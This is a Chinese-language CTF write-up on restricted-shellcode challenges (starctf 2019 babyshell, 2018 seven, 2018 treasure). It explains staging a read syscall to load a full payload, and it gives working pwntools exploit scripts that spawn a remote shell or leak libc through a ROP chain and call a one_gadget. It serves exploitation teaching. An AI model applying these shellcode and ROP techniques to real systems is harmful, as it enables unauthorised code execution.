shellcode题总结

shellcode题总结

有时shellcode受限,最好的方法一般就是勉强的凑出sys read系统调用来输入shellcode主体。下面从几个题来加深理解。

starctf_2019_babyshell

现在shellcode字节允许的范围在表内

shellcode题总结_第1张图片

shellcode题总结_第2张图片

我们直接用IDA强制转为汇编,我们发现pop rdx、pop rdi、syscall可以用。

shellcode题总结_第3张图片

而执行shellcode时,正好eax也被设置为0

然后rsi正好也是指向shellcode

shellcode题总结_第4张图片

因此,read的系统调用所需的都俱全,构造出read系统调用输入shellcode主体即可。

#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
#sh = process('./starctf_2019_babyshell')
sh = remote('node3.buuoj.cn',25035)

shellcode = asm('''pop rdi
                   pop rdi
                   pop rdi
                   pop rdi
                   pop rdi
                   pop rdi
                   pop rdi
                   pop rdi
                   pop rdx
                   pop rdi
                   syscall
                ''')
sh.sendlineafter('give me shellcode, plz:',shellcode)
sleep(0.5)
sh.send('a'*0xC + asm(shellcraft.sh()))

sh.interactive()

铁人三项(第五赛区)_2018_seven

限制7字节shellcode

shellcode题总结_第5张图片

并且执行到我们的shellcode时,rsp已经调整,寄存器也基本清空

shellcode题总结_第6张图片

由于栈调试,栈里没有合适的数据

shellcode题总结_第7张图片

此时,唯一的办法是先rsp指向的地方进行输入。然而7字节也算不够jmp rsp的。最多到syscall。由于开启了随机化,因此rsp和rip值哪个大是不确定的,当rsp在rip上方的时候,通过read,就可以覆盖到rip所指向的内存,覆盖为shellcode。因此,只需要多次尝试,总有一次rsp在rip上方附近的时候,就可以成功在rip后面的位置写入主体shellcode。

#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
#sh = process('./2018_seven')
sh = remote('node3.buuoj.cn',29741)
shellcode = asm('''push rsp
                   pop rsi
                   mov edx,esi
                   syscall
                ''')

sh.sendafter('Show me your shellcode:',shellcode)
payload = '\x00'*0xB36 + asm(shellcraft.sh())
sleep(0.1)
sh.sendline(payload)

sh.interactive()

鹏城杯_2018_treasure

通过构造shellcode,向栈里布置rop链

#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
#sh = process('./2018_treasure')
sh = remote('node3.buuoj.cn',29793)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
elf = ELF('./2018_treasure')
read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = 0x00000000004009BA
pop_rdi = 0x0000000000400b83
pop_rsi = 0x0000000000400b81


sh.sendlineafter("will you continue?(enter 'n' to quit) :",'Y')
#向栈里输入rop
shellcode = asm('''push rsp
                   pop rsi
                   mov edx,esi
                   syscall
                   ret
                ''')
sh.sendafter('start!!!!',shellcode)
rop = p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
rop += p64(vuln_addr)
sleep(0.2)
sh.send(rop)
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
one_gadget_addr = libc_base + 0x4f322

sh.sendlineafter("will you continue?(enter 'n' to quit) :",'Y')
#向栈里输入rop
shellcode = asm('''push rsp
                   pop rsi
                   mov edx,esi
                   syscall
                   ret
                ''')
sh.sendafter('start!!!!',shellcode)
sleep(0.2)
payload = p64(one_gadget_addr) + '\x00'*0x50
sh.send(payload)

sh.interactive()

因此,对于一些受限的shellcode,我们最好的办法是构造read系统调用。

你可能感兴趣的:(pwn,二进制漏洞,CTF)